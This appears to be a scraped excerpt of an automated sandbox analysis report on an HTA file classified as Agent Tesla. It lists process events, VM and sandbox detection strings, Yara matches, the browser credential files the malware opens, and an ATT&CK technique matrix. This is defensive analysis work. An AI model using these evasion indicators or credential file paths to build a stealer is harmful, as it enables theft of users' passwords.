Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: powershell.exe, 00000005.00000002.1853721064.0000000005D1E000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000008.00000002.2934590223.0000000000402000.00000040.00000400.00020000.00000000.sdmp, MSBuild.exe, 00000008.00000002.2936900255.0000000002A15000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: SBIEDLL.DLL
Source: MSBuild.exe, 00000008.00000002.2936900255.0000000002AC5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: SBIEDLL.DLLT-KQ

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report morninghtaaaafilex.hta

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Agenttesla

Yara Signatures

Dropped Files

Memory Dumps

Unpacked PEs

Other

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Windows Analysis Report
morninghtaaaafilex.hta

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Memory allocated: 1010000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Memory allocated: 29E0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Memory allocated: 1030000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3353			Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6454			Jump to behavior

Source: MSBuild.exe, 00000008.00000002.2936900255.0000000002A15000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMware
Source: MSBuild.exe, 00000008.00000002.2936900255.0000000002A15000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: vmware
Source: MSBuild.exe, 00000008.00000002.2940231574.0000000005C59000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllemen
Source: wscript.exe, 00000003.00000003.1739322666.0000000002AF7000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000003.00000003.1739105346.0000000002AF3000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000003.00000003.1742695685.0000000002B06000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000003.00000003.1738450202.0000000002AD7000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000003.00000003.1742218678.0000000002AFD000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000003.00000003.1740585638.0000000002AF8000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000003.00000002.1743533343.0000000002B07000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000003.00000003.1738691504.0000000002ADE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWXn
Source: MSBuild.exe, 00000008.00000002.2934590223.0000000000402000.00000040.00000400.00020000.00000000.sdmp	Binary or memory string: VMwareVBoxESelect * from Win32_ComputerSystem
Source: wscript.exe, 00000003.00000003.1739011670.0000000002B54000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000003.00000003.1738030076.0000000002B54000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000003.00000002.1743609926.0000000002B54000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: MSBuild.exe, 00000008.00000002.2936900255.0000000002A54000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: vMCIE6kpe8bW6hPfP
Source: wscript.exe, 00000003.00000003.1739322666.0000000002AF7000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000003.00000003.1739105346.0000000002AF3000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000003.00000003.1742695685.0000000002B06000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000003.00000003.1738450202.0000000002AD7000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000003.00000003.1742218678.0000000002AFD000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000003.00000003.1740585638.0000000002AF8000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000003.00000002.1743533343.0000000002B07000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000003.00000003.1738691504.0000000002ADE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWen-GBn
Source: MSBuild.exe, 00000008.00000002.2936900255.0000000002A54000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: vMCIE6kpe8bW6hPfP.exe
Source: powershell.exe, 00000005.00000002.1867975144.0000000008071000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllS1

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process token adjusted: Debug			Jump to behavior

Source: Yara match	File source: amsi32_7624.amsi.csv, type: OTHER
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 7624, type: MEMORYSTR

Source: C:\Windows\SysWOW64\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior

Source: Yara match	File source: 8.2.MSBuild.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.powershell.exe.5e0e358.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.powershell.exe.5e0e358.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000008.00000002.2934590223.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.1853721064.0000000005D1E000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 7624, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: MSBuild.exe PID: 7784, type: MEMORYSTR

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\8pecxstudios\Cyberfox\profiles.ini	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\NETGATE Technologies\BlackHawk\profiles.ini	Jump to behavior

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	212 Scripting	Valid Accounts	231 Windows Management Instrumentation	212 Scripting	1 DLL Side-Loading	1 Disable or Modify Tools	1 OS Credential Dumping	1 File and Directory Discovery	Remote Services	11 Archive Collected Data	1 Web Service	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Exploitation for Client Execution	1 DLL Side-Loading	111 Process Injection	1 Deobfuscate/Decode Files or Information	1 Input Capture	35 System Information Discovery	Remote Desktop Protocol	1 Data from Local System	1 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	2 Command and Scripting Interpreter	Logon Script (Windows)	Logon Script (Windows)	1 Obfuscated Files or Information	Security Account Manager	531 Security Software Discovery	SMB/Windows Admin Shares	11 Email Collection	11 Encrypted Channel	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 DLL Side-Loading	NTDS	1 Process Discovery	Distributed Component Object Model	1 Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Masquerading	LSA Secrets	261 Virtualization/Sandbox Evasion	SSH	Keylogging	13 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	261 Virtualization/Sandbox Evasion	Cached Domain Credentials	1 Application Window Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	111 Process Injection	DCSync	1 System Network Configuration Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery